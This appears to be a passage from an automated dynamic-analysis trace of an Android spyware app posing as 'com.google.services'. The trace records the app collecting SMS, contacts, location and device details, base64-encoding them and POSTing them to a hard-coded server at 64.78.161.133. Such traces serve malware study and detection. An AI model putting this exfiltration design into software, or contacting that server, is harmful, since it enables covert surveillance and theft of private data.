  • getEntity.toString: contact=bW9iaWxlOkdhbGF4eSBOZXh1cyxTREsgdmVyc2lvbjoxNyxPUyB2ZXJzaW9uOjQuMi4xIw==
  • getURI: http://64.78.161.133/data/phone1368529863900/process.php
NameTypeValue
Return Valuenull
  • $1: null
API: org.apache.http.params.BasicHttpParams->setParameter Show source
NameTypeValue
p0java.lang.String
  • toString: http.connection.timeout
p1java.lang.Integer
  • toString: 10000
NameTypeValue
Return Valueorg.apache.http.params.BasicHttpParams
  • toString: org.apache.http.params.BasicHttpParams@a09ddb30
API: org.apache.http.params.BasicHttpParams->setParameter Show source
NameTypeValue
p0java.lang.String
  • toString: http.socket.timeout
p1java.lang.Integer
  • toString: 10000
NameTypeValue
Return Valueorg.apache.http.params.BasicHttpParams
  • toString: org.apache.http.params.BasicHttpParams@a09ddb30
API: org.apache.http.impl.client.DefaultHttpClient->execute Show source
NameTypeValue
p0org.apache.http.client.methods.HttpPost
  • toString: org.apache.http.client.methods.HttpPost@a0a13e78
  • getEntity.decodeBase64: sms=no result!
  • getEntity.getContentType: Content-Type: application/x-www-form-urlencoded
  • getEntity.toString: sms=bm8gcmVzdWx0IeWujOavlQ==
  • getURI: http://64.78.161.133/data/phone1368529863900/process.php
NameTypeValue
Return Valuenull
  • $1: null
API: org.apache.http.params.BasicHttpParams->setParameter Show source
NameTypeValue
p0java.lang.String
  • toString: http.connection.timeout
p1java.lang.Integer
  • toString: 6000
NameTypeValue
Return Valueorg.apache.http.params.BasicHttpParams
  • toString: org.apache.http.params.BasicHttpParams@a0a70880
API: org.apache.http.params.BasicHttpParams->setParameter Show source
NameTypeValue
p0java.lang.String
  • toString: http.socket.timeout
p1java.lang.Integer
  • toString: 6000
NameTypeValue
Return Valueorg.apache.http.params.BasicHttpParams
  • toString: org.apache.http.params.BasicHttpParams@a0a70880
API: org.apache.http.impl.client.DefaultHttpClient->execute Show source
NameTypeValue
p0org.apache.http.client.methods.HttpPost
  • toString: org.apache.http.client.methods.HttpPost@a0a75458
  • getEntity.decodeBase64: sms=;no result!
  • getEntity.getContentType: Content-Type: application/x-www-form-urlencoded
  • getEntity.toString: sms=O25vIHJlc3VsdCHlrozmr5U=
  • getURI: http://64.78.161.133/data/phone1368529863900/process.php
NameTypeValue
Return Valueorg.apache.http.message.BasicHttpResponse
  • toString: org.apache.http.message.BasicHttpResponse@a0a03888
API: org.apache.http.StatusLine->getStatusCode Show source
NameTypeValue
Return Valuejava.lang.Integer
  • toString: 200
API: org.apache.http.params.BasicHttpParams->setParameter Show source
NameTypeValue
p0java.lang.String
  • toString: http.connection.timeout
p1java.lang.Integer
  • toString: 6000
NameTypeValue
Return Valueorg.apache.http.params.BasicHttpParams
  • toString: org.apache.http.params.BasicHttpParams@a0a64a58
API: org.apache.http.params.BasicHttpParams->setParameter Show source
NameTypeValue
p0java.lang.String
  • toString: http.socket.timeout
p1java.lang.Integer
  • toString: 6000
NameTypeValue
Return Valueorg.apache.http.params.BasicHttpParams
  • toString: org.apache.http.params.BasicHttpParams@a0a64a58
API: org.apache.http.impl.client.DefaultHttpClient->execute Show source
NameTypeValue
p0org.apache.http.client.methods.HttpPost
  • toString: org.apache.http.client.methods.HttpPost@a0a64690
  • getEntity.decodeBase64: contact=;mobile:Galaxy Nexus,SDK version:17,OS version:4.2.1#
  • getEntity.getContentType: Content-Type: application/x-www-form-urlencoded
  • getEntity.toString: contact=O21vYmlsZTpHYWxheHkgTmV4dXMsU0RLIHZlcnNpb246MTcsT1MgdmVyc2lvbjo0LjIuMSM=
  • getURI: http://64.78.161.133/data/phone1368529863900/process.php
NameTypeValue
Return Valueorg.apache.http.message.BasicHttpResponse
  • toString: org.apache.http.message.BasicHttpResponse@a0aa1d00
API: org.apache.http.StatusLine->getStatusCode Show source
NameTypeValue
Return Valuejava.lang.Integer
  • toString: 200
API: org.apache.http.params.BasicHttpParams->setParameter Show source
NameTypeValue
p0java.lang.String
  • toString: http.connection.timeout
p1java.lang.Integer
  • toString: 6000
NameTypeValue
Return Valueorg.apache.http.params.BasicHttpParams
  • toString: org.apache.http.params.BasicHttpParams@a0675018
API: org.apache.http.params.BasicHttpParams->setParameter Show source
NameTypeValue
p0java.lang.String
  • toString: http.socket.timeout
p1java.lang.Integer
  • toString: 6000
NameTypeValue
Return Valueorg.apache.http.params.BasicHttpParams
  • toString: org.apache.http.params.BasicHttpParams@a0675018
API: org.apache.http.impl.client.DefaultHttpClient->execute Show source
NameTypeValue
p0org.apache.http.client.methods.HttpPost
  • toString: org.apache.http.client.methods.HttpPost@a09e4f80
  • getEntity.decodeBase64: location=;No location found
  • getEntity.getContentType: Content-Type: application/x-www-form-urlencoded
  • getEntity.toString: location=O05vIGxvY2F0aW9uIGZvdW5k
  • getURI: http://64.78.161.133/data/phone1368529863900/process.php
NameTypeValue
Return Valueorg.apache.http.message.BasicHttpResponse
  • toString: org.apache.http.message.BasicHttpResponse@a067bb90
API: org.apache.http.StatusLine->getStatusCode Show source
NameTypeValue
Return Valuejava.lang.Integer
  • toString: 200
API: android.content.Intent->getAction Show source
NameTypeValue
Return Valuejava.lang.String
  • toString: com.google.system.receiver
API: android.content.Intent->getExtras Show source
NameTypeValue
Return Valueandroid.os.Bundle
  • toString: Bundle[{location=No location found}]
API: android.os.Bundle->getString Show source
NameTypeValue
p0java.lang.String
  • toString: location
NameTypeValue
Return Valuejava.lang.String
  • toString: No location found
API: android.content.Intent->getAction Show source
NameTypeValue
Return Valuejava.lang.String
  • toString: com.google.system.receiver
API: android.content.Intent->getExtras Show source
NameTypeValue
Return Valueandroid.os.Bundle
  • toString: Bundle[mParcelledData.dataSize=144]
API: android.os.Bundle->getString Show source
NameTypeValue
p0java.lang.String
  • toString: contact
NameTypeValue
Return Valuejava.lang.String
  • toString: mobile:Galaxy Nexus,SDK version:17,OS version:4.2.1#
API: android.content.Intent->getAction Show source
NameTypeValue
Return Valuejava.lang.String
  • toString: com.google.system.receiver
API: android.content.Intent->getExtras Show source
NameTypeValue
Return Valueandroid.os.Bundle
  • toString: Bundle[{sms=no result!}]
API: android.os.Bundle->getString Show source
NameTypeValue
p0java.lang.String
  • toString: sms
NameTypeValue
Return Valuejava.lang.String
  • toString: no result!
API: android.os.Bundle->getString Show source
NameTypeValue
p0java.lang.String
  • toString: sms
NameTypeValue
Return Valuejava.lang.String
  • toString: no result!
API: com.google.services.turntest->setContentView Show source
NameTypeValue
p0com.google.services.PageWidget
  • toString: com.google.services.PageWidget@a0672d60
API: java.lang.String-><init> Show source
NameTypeValue
p0java.lang.Object
  • toString: [B@a0a45bc8
  • $1: Tm8gbG9jYXRpb24gZm91bmQ=
  • $2: 546D38676247396A59585270623234675A6D3931626D513D
p1java.lang.String
  • toString: ASCII
NameTypeValue
Return Valuejava.lang.String
  • toString: Tm8gbG9jYXRpb24gZm91bmQ=
API: java.lang.String-><init> Show source
NameTypeValue
p0java.lang.Object
  • toString: [B@a0a84728
  • $1: bW9iaWxlOkdhbGF4eSBOZXh1cyxTREsgdmVyc2lvbjoxNyxPUyB2ZXJzaW9uOjQuMi4xIw==
  • $2: 625739696157786C4F6B6468624746346553424F5A5868316379785452457367646D567963326C76626A6F784E797850557942325A584A7A615739754F6A51754D69347849773D3D
p1java.lang.String
  • toString: ASCII
NameTypeValue
Return Valuejava.lang.String
  • toString: bW9iaWxlOkdhbGF4eSBOZXh1cyxTREsgdmVyc2lvbjoxNyxPUyB2ZXJzaW9uOjQuMi4xIw==
API: java.lang.String-><init> Show source
NameTypeValue
p0java.lang.Object
  • toString: [B@a09b6728
  • $1: bm8gcmVzdWx0IeWujOavlQ==
  • $2: 626D3867636D567A64577830496557756A4F61766C513D3D
p1java.lang.String
  • toString: ASCII
NameTypeValue
Return Valuejava.lang.String
  • toString: bm8gcmVzdWx0IeWujOavlQ==
API: java.lang.String-><init> Show source
NameTypeValue
p0java.lang.Object
  • toString: [B@a09c7168
  • $1: O25vIHJlc3VsdCHlrozmr5U=
  • $2: 4F32357649484A6C633356736443486C726F7A6D7235553D
p1java.lang.String
  • toString: ASCII
NameTypeValue
Return Valuejava.lang.String
  • toString: O25vIHJlc3VsdCHlrozmr5U=
API: java.lang.String-><init> Show source
NameTypeValue
p0java.lang.Object
  • toString: [B@a0975990
  • $1: O21vYmlsZTpHYWxheHkgTmV4dXMsU0RLIHZlcnNpb246MTcsT1MgdmVyc2lvbjo0LjIuMSM=
  • $2: 4F323176596D6C735A5470485957786865486B67546D563464584D735530524C49485A6C636E4E70623234364D54637354314D67646D567963326C76626A6F304C6A49754D534D3D
p1java.lang.String
  • toString: ASCII
NameTypeValue
Return Valuejava.lang.String
  • toString: O21vYmlsZTpHYWxheHkgTmV4dXMsU0RLIHZlcnNpb246MTcsT1MgdmVyc2lvbjo0LjIuMSM=
API: java.lang.String-><init> Show source
NameTypeValue
p0java.lang.Object
  • toString: [B@a097e368
  • $1: O05vIGxvY2F0aW9uIGZvdW5k
  • $2: 4F30357649477876593246306157397549475A766457356B
p1java.lang.String
  • toString: ASCII
NameTypeValue
Return Valuejava.lang.String
  • toString: O05vIGxvY2F0aW9uIGZvdW5k
API: android.location.Location->getLatitude Show source
API: android.location.Location->getLongitude Show source
API: java.lang.StringBuilder-><init> Show source
API: java.lang.StringBuilder->append Show source
API: java.lang.StringBuilder->append Show source
API: java.lang.StringBuilder->append Show source
API: java.lang.StringBuilder->append Show source
API: java.lang.StringBuilder->toString Show source
API: android.content.Intent-><init> Show source
API: android.content.Intent->setAction Show source
API: android.os.Bundle-><init> Show source
API: android.os.Bundle->putString Show source
API: android.content.Context->getContentResolver Show source
API: android.database.Cursor->moveToNext Show source
API: android.database.Cursor->getString Show source
API: android.text.TextUtils->isEmpty Show source
API: android.database.Cursor->getString Show source
API: java.lang.StringBuilder-><init> Show source
API: java.lang.StringBuilder->append Show source
API: java.lang.StringBuilder->append Show source
API: java.lang.StringBuilder->append Show source
API: java.lang.StringBuilder->append Show source
API: java.lang.StringBuilder->append Show source
API: java.lang.StringBuilder->append Show source
API: java.lang.StringBuilder->toString Show source
API: android.database.Cursor->close Show source
API: android.app.Service->onCreate Show source
API: android.content.IntentFilter-><init> Show source
API: android.content.IntentFilter->setPriority Show source
API: com.google.services.alarmReceiver-><init> Show source
API: android.location.Criteria-><init> Show source
API: android.location.Criteria->setAltitudeRequired Show source
API: android.location.Criteria->setBearingRequired Show source
API: android.location.Criteria->setPowerRequirement Show source
API: android.location.LocationManager->getBestProvider Show source
API: com.google.services.AlarmService->updateWithNewLocation Show source
API: java.lang.StringBuilder-><init> Show source
API: java.lang.StringBuilder->append Show source
API: java.lang.StringBuilder->append Show source
API: java.lang.StringBuilder->append Show source
API: java.lang.StringBuilder->append Show source
API: java.lang.StringBuilder->append Show source
API: java.lang.StringBuilder->append Show source
API: java.lang.StringBuilder->append Show source
API: java.lang.StringBuilder->toString Show source
API: java.lang.StringBuilder-><init> Show source
API: java.lang.StringBuilder->append Show source
API: com.google.services.AlarmService->getPhoneContacts Show source
API: java.lang.StringBuilder->append Show source
API: com.google.services.AlarmService->getSIMContacts Show source
API: java.lang.StringBuilder->append Show source
API: java.lang.StringBuilder->toString Show source
API: android.content.Intent-><init> Show source
API: android.content.Intent->setAction Show source
API: android.os.Bundle-><init> Show source
API: android.os.Bundle->putString Show source
API: java.lang.StringBuilder-><init> Show source
API: com.google.services.AlarmService->getContentResolver Show source
API: android.database.Cursor->moveToFirst Show source
API: android.database.Cursor->getColumnIndex Show source
API: android.database.Cursor->getColumnIndex Show source
API: android.database.Cursor->getColumnIndex Show source
API: android.database.Cursor->getColumnIndex Show source
API: android.database.Cursor->getColumnIndex Show source
API: android.database.Cursor->getString Show source
API: android.database.Cursor->getString Show source
API: android.database.Cursor->getString Show source
API: java.text.SimpleDateFormat-><init> Show source
API: android.database.Cursor->getString Show source
API: java.lang.Long->parseLong Show source
API: java.sql.Date-><init> Show source
API: java.text.SimpleDateFormat->format Show source
API: android.database.Cursor->getInt Show source
API: java.lang.StringBuilder->append Show source
API: java.lang.StringBuilder-><init> Show source
API: java.lang.StringBuilder->append Show source
API: java.lang.StringBuilder->append Show source
API: java.lang.StringBuilder->toString Show source
API: java.lang.StringBuilder->append Show source
API: java.lang.StringBuilder-><init> Show source
API: java.lang.StringBuilder->append Show source
API: java.lang.StringBuilder->append Show source
API: java.lang.StringBuilder->toString Show source
API: java.lang.StringBuilder->append Show source
API: java.lang.StringBuilder-><init> Show source
API: java.lang.StringBuilder->append Show source
API: java.lang.StringBuilder->append Show source
API: java.lang.StringBuilder->toString Show source
API: java.lang.StringBuilder->append Show source
API: java.lang.StringBuilder-><init> Show source
API: java.lang.StringBuilder->append Show source
API: java.lang.StringBuilder->append Show source
API: java.lang.StringBuilder->toString Show source
API: java.lang.StringBuilder->append Show source
API: java.lang.StringBuilder->append Show source
API: java.lang.StringBuilder->append Show source
API: android.database.Cursor->moveToNext Show source
API: java.lang.StringBuilder->append Show source
API: java.lang.StringBuilder->toString Show source
API: java.lang.StringBuilder->append Show source
API: android.content.Intent-><init> Show source
API: android.content.Intent->setAction Show source
API: android.os.Bundle-><init> Show source
API: com.google.services.AlarmService->getSms Show source
API: android.os.Bundle->putString Show source
API: android.app.Service-><init> Show source
API: com.google.services.AlarmService->updateWithNewLocation Show source
API: android.content.Context->getContentResolver Show source
API: android.database.Cursor->moveToNext Show source
API: android.database.Cursor->getString Show source
API: android.text.TextUtils->isEmpty Show source
API: android.database.Cursor->getString Show source
API: java.lang.StringBuilder-><init> Show source
API: java.lang.StringBuilder->append Show source
API: java.lang.StringBuilder->append Show source
API: java.lang.StringBuilder->append Show source
API: java.lang.StringBuilder->append Show source
API: java.lang.StringBuilder->append Show source
API: java.lang.StringBuilder->append Show source
API: java.lang.StringBuilder->toString Show source
API: android.database.Cursor->close Show source
API: com.google.services.AlarmService->access$000 Show source
API: java.lang.Object-><init> Show source
API: com.google.services.AlarmService->access$000 Show source
API: java.lang.Object-><init> Show source
API: java.util.Vector-><init> Show source
API: java.text.DecimalFormat-><init> Show source
API: android.graphics.Paint-><init> Show source
API: android.graphics.Paint->setTextAlign Show source
API: android.graphics.Paint->setTextSize Show source
API: android.graphics.Paint->setColor Show source
API: java.lang.String->equals Show source
API: java.nio.MappedByteBuffer->get Show source
API: java.nio.MappedByteBuffer->get Show source
API: java.nio.MappedByteBuffer->get Show source
API: java.lang.String->equals Show source
API: java.nio.MappedByteBuffer->get Show source
API: java.nio.MappedByteBuffer->get Show source
API: java.nio.MappedByteBuffer->get Show source
API: java.util.Vector-><init> Show source
API: java.util.Vector->size Show source
API: java.util.Vector-><init> Show source
API: java.lang.String-><init> Show source
API: java.lang.String->replaceAll Show source
API: java.lang.String->replaceAll Show source
API: java.lang.String->length Show source
API: java.util.Vector->add Show source
API: java.lang.String->length Show source
API: android.graphics.Paint->breakText Show source
API: java.lang.String->substring Show source
API: java.util.Vector->add Show source
API: java.lang.String->substring Show source
API: java.io.UnsupportedEncodingException->printStackTrace Show source
API: java.util.Vector->addAll Show source
API: java.util.Vector->size Show source
API: java.util.Vector->get Show source
API: java.lang.String->getBytes Show source
API: java.util.Vector->remove Show source
API: java.io.UnsupportedEncodingException->printStackTrace Show source
API: java.util.Vector->clear Show source
API: java.util.Vector->clear Show source
API: java.lang.String->equals Show source
API: java.nio.MappedByteBuffer->get Show source
API: java.nio.MappedByteBuffer->get Show source
API: java.nio.MappedByteBuffer->get Show source
API: java.lang.String->equals Show source
API: java.nio.MappedByteBuffer->get Show source
API: java.nio.MappedByteBuffer->get Show source
API: java.nio.MappedByteBuffer->get Show source
API: android.content.Context->getFilesDir Show source
API: android.content.Context->getResources Show source
API: android.content.res.Resources->getAssets Show source
API: android.content.res.AssetManager->open Show source
API: java.io.RandomAccessFile-><init> Show source
API: java.io.InputStream->read Show source
API: java.io.RandomAccessFile->write Show source
API: java.lang.Exception->printStackTrace Show source
API: android.content.Context->getFilesDir Show source
API: java.io.RandomAccessFile-><init> Show source
API: java.io.RandomAccessFile->getChannel Show source
API: java.nio.channels.FileChannel->map Show source
API: java.io.RandomAccessFile->close Show source
API: java.io.InputStream->close Show source
API: java.util.Vector-><init> Show source
API: java.util.Vector->size Show source
API: java.lang.String->indexOf Show source
API: java.lang.String->replaceAll Show source
API: java.lang.String->length Show source
API: java.util.Vector->add Show source
API: java.lang.String->length Show source
API: android.graphics.Paint->breakText Show source
API: java.lang.String->substring Show source
API: java.util.Vector->add Show source
API: java.lang.String->substring Show source
API: java.util.Vector->size Show source
API: java.lang.String->length Show source
API: java.lang.StringBuilder-><init> Show source
API: java.lang.StringBuilder->append Show source
API: java.lang.StringBuilder->append Show source
API: java.lang.StringBuilder->toString Show source
API: java.lang.String->getBytes Show source
API: java.io.UnsupportedEncodingException->printStackTrace Show source
API: java.io.UnsupportedEncodingException->printStackTrace Show source
API: java.lang.String->indexOf Show source
API: java.lang.String->replaceAll Show source
API: java.util.Vector->size Show source
API: java.util.Vector->size Show source
API: android.graphics.Canvas->drawColor Show source
API: java.util.Vector->iterator Show source
API: java.util.Iterator->hasNext Show source
API: java.util.Iterator->next Show source
API: android.graphics.Canvas->drawText Show source
API: android.graphics.Canvas->drawBitmap Show source
API: java.lang.StringBuilder-><init> Show source
API: java.text.DecimalFormat->format Show source
API: java.lang.StringBuilder->append Show source
API: java.lang.StringBuilder->append Show source
API: java.lang.StringBuilder->toString Show source
API: android.graphics.Paint->measureText Show source
API: android.graphics.Canvas->drawText Show source
API: java.lang.Object-><init> Show source
API: android.graphics.Path->reset Show source
API: android.graphics.Path->moveTo Show source
API: android.graphics.Path->quadTo Show source
API: android.graphics.Path->lineTo Show source
API: android.graphics.Path->lineTo Show source
API: android.graphics.Path->quadTo Show source
API: android.graphics.Path->lineTo Show source
API: android.graphics.Path->close Show source
API: android.graphics.Canvas->save Show source
API: android.graphics.Canvas->clipPath Show source
API: android.graphics.Canvas->drawBitmap Show source
API: android.graphics.Canvas->restore Show source
API: java.lang.Math->abs Show source
API: java.lang.Math->abs Show source
API: java.lang.Math->min Show source
API: android.graphics.Path->reset Show source
API: android.graphics.Path->moveTo Show source
API: android.graphics.Path->lineTo Show source
API: android.graphics.Path->lineTo Show source
API: android.graphics.Path->lineTo Show source
API: android.graphics.Path->lineTo Show source
API: android.graphics.Path->close Show source
API: android.graphics.Canvas->save Show source
API: android.graphics.Canvas->clipPath Show source
API: android.graphics.Canvas->clipPath Show source
API: android.graphics.Paint->setColorFilter Show source
API: java.lang.Math->hypot Show source
API: android.graphics.Matrix->reset Show source
API: android.graphics.Matrix->setValues Show source
API: android.graphics.Matrix->preTranslate Show source
API: android.graphics.Matrix->postTranslate Show source
API: android.graphics.Canvas->drawBitmap Show source
API: android.graphics.Paint->setColorFilter Show source
API: android.graphics.Canvas->rotate Show source
API: android.graphics.drawable.GradientDrawable->setBounds Show source
API: android.graphics.drawable.GradientDrawable->draw Show source
API: android.graphics.Canvas->restore Show source
API: android.graphics.PointF-><init> Show source
API: android.view.View-><init> Show source
API: android.graphics.PointF-><init> Show source
API: android.graphics.PointF-><init> Show source
API: android.graphics.PointF-><init> Show source
API: android.graphics.PointF-><init> Show source
API: android.graphics.PointF-><init> Show source
API: android.graphics.PointF-><init> Show source
API: android.graphics.PointF-><init> Show source
API: android.graphics.PointF-><init> Show source
API: android.graphics.PointF-><init> Show source
API: java.lang.Math->hypot Show source
API: android.graphics.Path-><init> Show source
API: android.graphics.Path-><init> Show source
API: com.google.services.PageWidget->createDrawable Show source
API: android.graphics.Paint-><init> Show source
API: android.graphics.Paint->setStyle Show source
API: android.graphics.ColorMatrix-><init> Show source
API: android.graphics.ColorMatrix->set Show source
API: android.graphics.ColorMatrixColorFilter-><init> Show source
API: android.graphics.Matrix-><init> Show source
API: com.google.services.PageWidget->getContext Show source
API: android.widget.Scroller-><init> Show source
API: android.graphics.drawable.GradientDrawable-><init> Show source
API: android.graphics.drawable.GradientDrawable->setGradientType Show source
API: android.graphics.drawable.GradientDrawable-><init> Show source
API: android.graphics.drawable.GradientDrawable->setGradientType Show source
API: android.graphics.drawable.GradientDrawable-><init> Show source
API: android.graphics.drawable.GradientDrawable->setGradientType Show source
API: android.graphics.drawable.GradientDrawable-><init> Show source
API: android.graphics.drawable.GradientDrawable->setGradientType Show source
API: android.graphics.drawable.GradientDrawable-><init> Show source
API: android.graphics.drawable.GradientDrawable->setGradientType Show source
API: android.graphics.drawable.GradientDrawable-><init> Show source
API: android.graphics.drawable.GradientDrawable->setGradientType Show source
API: android.graphics.drawable.GradientDrawable-><init> Show source
API: android.graphics.drawable.GradientDrawable->setGradientType Show source
API: android.graphics.drawable.GradientDrawable-><init> Show source
API: android.graphics.drawable.GradientDrawable->setGradientType Show source
API: android.view.MotionEvent->getAction Show source
API: android.view.MotionEvent->getX Show source
API: android.view.MotionEvent->getY Show source
API: com.google.services.PageWidget->postInvalidate Show source
API: android.view.MotionEvent->getAction Show source
API: android.view.MotionEvent->getX Show source
API: android.view.MotionEvent->getY Show source
API: android.view.MotionEvent->getAction Show source
API: com.google.services.PageWidget->canDragOver Show source
API: com.google.services.PageWidget->startAnimation Show source
API: com.google.services.PageWidget->postInvalidate Show source
API: android.view.View->computeScroll Show source
API: android.widget.Scroller->computeScrollOffset Show source
API: android.widget.Scroller->getCurrX Show source
API: android.widget.Scroller->getCurrY Show source
API: com.google.services.PageWidget->postInvalidate Show source
API: android.graphics.Canvas->drawColor Show source
API: com.google.services.PageWidget->calcPoints Show source
API: com.google.services.PageWidget->drawCurrentPageArea Show source
API: com.google.services.PageWidget->drawNextPageAreaAndShadow Show source
API: com.google.services.PageWidget->drawCurrentPageShadow Show source
API: com.google.services.PageWidget->drawCurrentBackArea Show source
API: android.graphics.Path->reset Show source
API: android.graphics.Path->moveTo Show source
API: android.graphics.Path->lineTo Show source
API: android.graphics.Path->lineTo Show source
API: android.graphics.Path->lineTo Show source
API: android.graphics.Path->lineTo Show source
API: android.graphics.Path->close Show source
API: java.lang.Math->atan2 Show source
API: java.lang.Math->toDegrees Show source
API: android.graphics.Canvas->save Show source
API: android.graphics.Canvas->clipPath Show source
API: android.graphics.Canvas->clipPath Show source
API: android.graphics.Canvas->drawBitmap Show source
API: android.graphics.Canvas->rotate Show source
API: android.graphics.drawable.GradientDrawable->setBounds Show source
API: android.graphics.drawable.GradientDrawable->draw Show source
API: android.graphics.Canvas->restore Show source
API: android.widget.Scroller->isFinished Show source
API: android.widget.Scroller->abortAnimation Show source
API: android.widget.Scroller->startScroll Show source
API: java.lang.Math->abs Show source
API: java.lang.Math->abs Show source
API: java.lang.Math->abs Show source
API: java.lang.Math->abs Show source
API: java.lang.Math->abs Show source
API: java.lang.Math->hypot Show source
API: com.google.services.PageWidget->getCross Show source
API: com.google.services.PageWidget->getCross Show source
API: java.lang.Math->atan2 Show source
API: java.lang.Math->cos Show source
API: java.lang.Math->sin Show source
API: android.graphics.Path->reset Show source
API: android.graphics.Path->moveTo Show source
API: android.graphics.Path->lineTo Show source
API: android.graphics.Path->lineTo Show source
API: android.graphics.Path->lineTo Show source
API: android.graphics.Path->close Show source
API: android.graphics.Canvas->save Show source
API: android.graphics.Canvas->clipPath Show source
API: android.graphics.Canvas->clipPath Show source
API: java.lang.Math->atan2 Show source
API: java.lang.Math->toDegrees Show source
API: android.graphics.Canvas->rotate Show source
API: android.graphics.drawable.GradientDrawable->setBounds Show source
API: android.graphics.drawable.GradientDrawable->draw Show source
API: android.graphics.Canvas->restore Show source
API: android.graphics.Path->reset Show source
API: android.graphics.Path->moveTo Show source
API: android.graphics.Path->lineTo Show source
API: android.graphics.Path->lineTo Show source
API: android.graphics.Path->lineTo Show source
API: android.graphics.Path->close Show source
API: android.graphics.Canvas->save Show source
API: android.graphics.Canvas->clipPath Show source
API: android.graphics.Canvas->clipPath Show source
API: java.lang.Math->atan2 Show source
API: java.lang.Math->toDegrees Show source
API: android.graphics.Canvas->rotate Show source
API: java.lang.Math->hypot Show source
API: android.graphics.drawable.GradientDrawable->setBounds Show source
API: android.graphics.drawable.GradientDrawable->draw Show source
API: android.graphics.Canvas->restore Show source
API: java.lang.Math->atan2 Show source
API: android.graphics.drawable.GradientDrawable->setBounds Show source
API: android.app.Service-><init> Show source
API: java.util.Timer-><init> Show source
API: com.google.services.PhoneService$1-><init> Show source
API: android.app.Service->onCreate Show source
API: android.content.ComponentName-><init> Show source
API: com.google.services.PhoneService->getPackageManager Show source
API: android.content.pm.PackageManager->getServiceInfo Show source
API: java.lang.String->equals Show source
API: com.google.services.PhoneService->getSharedPreferences Show source
API: java.lang.String->equals Show source
API: java.util.Date-><init> Show source
API: java.lang.StringBuilder-><init> Show source
API: java.lang.StringBuilder->append Show source
API: java.util.Date->getTime Show source
API: java.lang.StringBuilder->append Show source
API: java.lang.StringBuilder->toString Show source
API: android.content.SharedPreferences->edit Show source
API: android.content.SharedPreferences$Editor->putString Show source
API: android.content.SharedPreferences$Editor->commit Show source
API: java.lang.StringBuilder-><init> Show source
API: java.lang.StringBuilder->append Show source
API: java.lang.StringBuilder->append Show source
API: java.lang.StringBuilder->toString Show source
API: com.google.services.PhoneService->getBaseContext Show source
API: com.google.services.PhoneService->isConnect Show source
API: android.util.Log->i Show source
API: android.content.IntentFilter-><init> Show source
API: android.content.IntentFilter->setPriority Show source
API: com.google.services.sendReceiver-><init> Show source
API: com.google.services.PhoneService->registerReceiver Show source
API: java.lang.StringBuilder-><init> Show source
API: java.lang.StringBuilder->append Show source
API: java.lang.StringBuilder->append Show source
API: java.lang.StringBuilder->append Show source
API: java.lang.StringBuilder->append Show source
API: java.lang.StringBuilder->toString Show source
API: com.google.services.PhoneService->serviceInit Show source
API: android.content.pm.PackageManager$NameNotFoundException->printStackTrace Show source
API: android.util.Log->i Show source
API: android.app.Service->onDestroy Show source
API: android.app.Service->onStart Show source
API: java.lang.String->equals Show source
API: java.util.Timer->scheduleAtFixedRate Show source
API: java.lang.Exception->printStackTrace Show source
API: android.content.Intent-><init> Show source
API: java.util.TimerTask-><init> Show source
API: android.content.IntentFilter-><init> Show source
API: android.content.IntentFilter->setPriority Show source
API: com.google.services.sendReceiver-><init> Show source
API: java.lang.StringBuilder-><init> Show source
API: java.lang.StringBuilder->append Show source
API: java.lang.StringBuilder->append Show source
API: java.lang.StringBuilder->append Show source
API: java.lang.StringBuilder->append Show source
API: java.lang.StringBuilder->toString Show source
API: com.google.services.PhoneService->serviceInit Show source
API: android.util.Log->i Show source
API: com.google.services.PhoneService->getBaseContext Show source
API: com.google.services.PhoneService->isConnect Show source
API: android.util.Log->i Show source
API: com.google.services.PhoneService->getBaseContext Show source
API: com.google.services.PhoneService->isConnect Show source
API: com.google.services.PhoneService$1$1-><init> Show source
API: com.google.services.PhoneService$1$1->start Show source
API: java.lang.Thread-><init> Show source
API: java.lang.Object-><init> Show source
API: java.lang.Object-><init> Show source
API: java.lang.Object-><init> Show source
API: java.lang.Object-><init> Show source
API: java.lang.Object-><init> Show source
API: com.google.services.ScreenReceiver->isServiceRunning Show source
API: android.content.Intent-><init> Show source
API: android.util.Log->i Show source
API: android.content.BroadcastReceiver-><init> Show source
API: android.app.ActivityManager->getRunningServices Show source
API: java.util.List->size Show source
API: java.util.List->size Show source
API: java.util.List->get Show source
API: android.content.ComponentName->getClassName Show source
API: java.lang.String->equals Show source
API: java.lang.Object-><init> Show source
API: org.apache.http.client.methods.HttpPost-><init> Show source
API: java.util.ArrayList-><init> Show source
API: java.lang.String->toString Show source
API: java.lang.String->toString Show source
API: org.apache.http.message.BasicNameValuePair-><init> Show source
API: java.util.List->add Show source
API: org.apache.http.client.entity.UrlEncodedFormEntity-><init> Show source
API: org.apache.http.client.methods.HttpPost->setEntity Show source
API: org.apache.http.impl.client.DefaultHttpClient-><init> Show source
API: org.apache.http.impl.client.DefaultHttpClient->getParams Show source
API: java.lang.Integer->valueOf Show source
API: org.apache.http.impl.client.DefaultHttpClient->getParams Show source
API: java.lang.Integer->valueOf Show source
API: org.apache.http.HttpResponse->getStatusLine Show source
API: android.util.Log->i Show source
API: android.util.Log->i Show source
API: android.util.Log->i Show source
API: java.lang.String->equals Show source
API: java.lang.String->equals Show source
API: java.lang.String->equals Show source
API: java.lang.String->equals Show source
API: java.lang.String->equals Show source
API: android.util.Log->i Show source
API: java.lang.String->equals Show source
API: java.lang.StringBuilder-><init> Show source
API: java.lang.StringBuilder->append Show source
API: java.lang.StringBuilder->append Show source
API: java.lang.StringBuilder->append Show source
API: java.lang.StringBuilder->toString Show source
API: java.lang.String->equals Show source
API: java.lang.StringBuilder-><init> Show source
API: java.lang.StringBuilder->append Show source
API: java.lang.StringBuilder->append Show source
API: java.lang.StringBuilder->append Show source
API: java.lang.StringBuilder->toString Show source
API: java.lang.String->equals Show source
API: java.lang.StringBuilder-><init> Show source
API: java.lang.StringBuilder->append Show source
API: java.lang.StringBuilder->append Show source
API: java.lang.StringBuilder->append Show source
API: java.lang.StringBuilder->toString Show source
API: java.lang.String->equals Show source
API: java.lang.StringBuilder-><init> Show source
API: java.lang.StringBuilder->append Show source
API: java.lang.StringBuilder->append Show source
API: java.lang.StringBuilder->append Show source
API: java.lang.StringBuilder->toString Show source
API: java.lang.String->equals Show source
API: java.lang.StringBuilder-><init> Show source
API: java.lang.StringBuilder->append Show source
API: java.lang.StringBuilder->append Show source
API: java.lang.StringBuilder->append Show source
API: java.lang.StringBuilder->toString Show source
API: java.lang.String->equals Show source
API: java.lang.StringBuilder-><init> Show source
API: java.lang.StringBuilder->append Show source
API: java.lang.StringBuilder->append Show source
API: java.lang.StringBuilder->append Show source
API: java.lang.StringBuilder->toString Show source
API: java.lang.String->equals Show source
API: java.lang.StringBuilder-><init> Show source
API: java.lang.StringBuilder->append Show source
